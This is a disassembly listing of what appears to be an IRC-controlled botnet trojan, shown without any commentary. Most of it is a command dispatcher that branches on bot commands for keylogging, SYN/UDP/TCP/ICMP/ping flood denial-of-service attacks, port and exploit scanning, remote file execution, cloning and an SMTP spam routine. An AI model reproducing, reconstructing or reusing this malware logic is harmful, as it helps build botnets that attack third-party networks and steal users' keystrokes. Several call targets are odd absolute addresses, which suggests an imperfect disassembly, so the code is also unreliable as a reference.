		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B56C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_42B530
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4F4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B4A0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B474
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset dword_42B440
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B408
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAB4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBADC, ebx
		jz	short loc_405F4F
		push	offset unk_42B390
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B364
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B344
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B304
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2E4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2C4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B2A4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B278
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B25C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B940
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_42B0E8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B0A0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset dword_42B064
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB954
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA68
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA64
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9E4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
